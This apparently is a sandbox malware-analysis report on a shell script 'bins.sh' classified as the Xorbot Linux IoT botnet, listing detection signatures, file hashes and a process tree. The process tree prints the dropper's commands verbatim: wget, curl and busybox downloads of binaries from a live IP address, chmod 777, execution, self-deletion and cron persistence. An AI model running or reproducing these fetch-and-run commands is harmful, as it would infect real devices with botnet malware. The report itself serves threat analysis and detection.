Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    25/01/2025, 03:12

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250125-dp6htatrep
  • SHA256 25e374c7282cf553d6688a3488d7ccb1369675b8d850c5bd54e23f772033e4fe
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2082) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1501
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1502
      • /usr/bin/wget
        wget http://66.63.187.225/bins/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • Writes file to tmp directory
        PID:1503
      • /usr/bin/curl
        curl -O http://66.63.187.225/bins/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • Writes file to tmp directory
        PID:1508
      • /bin/busybox
        /bin/busybox wget http://66.63.187.225/bins/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • Writes file to tmp directory
        PID:1510
      • /bin/chmod
        chmod 777 Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • File and Directory Permissions Modification
        PID:1511
      • /tmp/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        ./Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
          PID:1512
        • /bin/rm
          rm Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
          2⤵
            PID:1514
          • /usr/bin/wget
            wget http://66.63.187.225/bins/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            2⤵
            • Writes file to tmp directory
            PID:1515
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            2⤵
            • Writes file to tmp directory
            PID:1517
          • /bin/chmod
            chmod 777 UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            2⤵
            • File and Directory Permissions Modification
            PID:1518
          • /tmp/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            ./UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            2⤵
              PID:1519
            • /bin/rm
              rm UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
              2⤵
                PID:1521
              • /usr/bin/wget
                wget http://66.63.187.225/bins/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                2⤵
                • Writes file to tmp directory
                PID:1522
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                2⤵
                • Writes file to tmp directory
                PID:1523
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                2⤵
                • Writes file to tmp directory
                PID:1524
              • /bin/chmod
                chmod 777 SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                2⤵
                • File and Directory Permissions Modification
                PID:1525
              • /tmp/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                ./SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                2⤵
                  PID:1526
                • /bin/rm
                  rm SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                  2⤵
                    PID:1528
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                    2⤵
                    • Writes file to tmp directory
                    PID:1529
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                    2⤵
                    • Writes file to tmp directory
                    PID:1530
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                    2⤵
                    • Writes file to tmp directory
                    PID:1531
                  • /bin/chmod
                    chmod 777 haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1532
                  • /usr/bin/crontab
                    crontab -l
                    2⤵
                      PID:1536
                    • /usr/bin/crontab
                      crontab -
                      2⤵
                      • Creates/modifies Cron job
                      PID:1538
                    • /bin/rm
                      rm haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                      2⤵
                        PID:1540
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                        2⤵
                          PID:1543

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
                            • Path /tmp/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
                            • Size 151KB
                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                            • Path /tmp/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                            • Size 107KB
                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
                            • Path /tmp/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
                            • Size 111KB
                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                            • Path /tmp/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                            • Size 98KB
                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.SE3bqH
                            • Path /var/spool/cron/crontabs/tmp.SE3bqH
                            • Size 210B
                            • SHA256 6295ffaecc92c002ea07ad4bd297464c0e4e6beb1f9c13cc20f3f3ea6896a243
                            • MD5 SHA1 SHA512
                            Submit Download